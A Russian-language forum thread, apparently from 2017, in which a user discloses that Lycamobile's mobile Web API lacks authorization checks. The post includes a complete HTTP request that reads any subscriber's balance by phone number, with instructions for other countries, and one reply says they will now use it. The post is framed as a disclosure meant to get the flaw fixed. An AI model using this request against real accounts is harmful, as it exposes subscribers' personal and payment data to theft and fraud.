Уязвимость в Web API Lycamobile позволяет управлять любым номером оператора

yahoo

username
Реєстрація
21.11.09
Місто
Kharkiv
Телефон
Poco M3 Pro
Доброго времени суток. Меня зовут Алексей. Я занимаюсь разработкой под .NET, pentesting и reverse engineering Android apps.
В марте от одного уважаемого человека мне поступил заказ на исследование приложения Lycamobile и описание его private API. После непродолжительных манипуляций я понял логику запросов и уж было приступил к описанию, но заметил что при смене номера телефона в запросе сервер продолжает отдавать данные. Оказалось что сервер просто не проверяет авторизованы ли мы и вся авторизация в приложении не более чем формальность.

Немного цифр. Lycamobile работает в 21 стране мира, капитализация €1.6 billion. Данная уязвимость работает в uk, de, usa. Для остальных стран было лень проверять.

Команды API можно узнать там же на сервере по адресу maccount.lycamobile.co.uk/MyAccountsAPIGBR.svc (как удобно). Сам запрос выглядит так:
Код:
POST /MyAccountsAPIGBR.svc/JSON/GetAccountBalance HTTP/1.1
X-Titanium-Id: 28683211-fe39-471b-8b31-fb6babc37e0c
Content-Type: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Appcelerator Titanium/3.2.1 (7 plus; Android API Level: 17; en-US;)
Host: maccount.lycamobile.co.uk
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=zl3jse3wcjlapok2jhxma42u (необязательный параметр)
Cookie2: $Version=1
Content-Length: 84

{"CountryCode":"GBR","LanguageCode":"en","BrandCode":"LYCA","MSISDN":"44742493хххх"}
А в ответ на придет что-то вроде:
Код:
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 106
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 26 May 2017 20:57:58 GMT
Proxy-Connection: Keep-alive

{"Response":{"ResponseCode":"0","ResponseDesc":"Success"},"Balance":"10.56","ValidityDate":"17\/02\/2023"}
Для того чтобы использовать уязвимость под другую страну измените переменную CountryCode и Host на данный искомой страны.

С помощью данной уязвимости можно например узнать личные данные пользователя, заказать ему услугу, узнать почти полный номер кредитки и много чего еще. Стоит отметить что личные данные можно узнать только если юзер зарегистрировался в ЛК и ввел их туда.

Я обращался в службу поддержки на fb и email, просил контакты их безопасников. Однако бестолку, мои сообщения либо игнорировали, либо отвечали стандартными фразами. Такое халатное отношение к юзерам особенно в бурже это нонсенс.

Благодарю за внимание. Надеюсь среди нашего сообщества найдутся люди которые покажут данный материал нужным людям и баг пофиксят.
(c)

А ведь не спроста в своё время в МТС не захотели разрешать перевод денег через инет-помощник.
 

artsel

Легальний 4G користувач
Реєстрація
20.08.13
Місто
Львів
Телефон
iPhone 15, Pixel 7
Спасибо. Теперь будем использовать
 
Реєстрація
26.11.08
Місто
PL/Киев
Телефон
Nokia 6021
Стоит взять во внимание, что большинство работников индус-телекома сидят в ЮК и не особо парятся над неработоспособностью сети, поганяя своих подчиненных в других 20 странах. Этого приложения для PL Lycamobile нету. Привет из Варшавы.
 
Зверху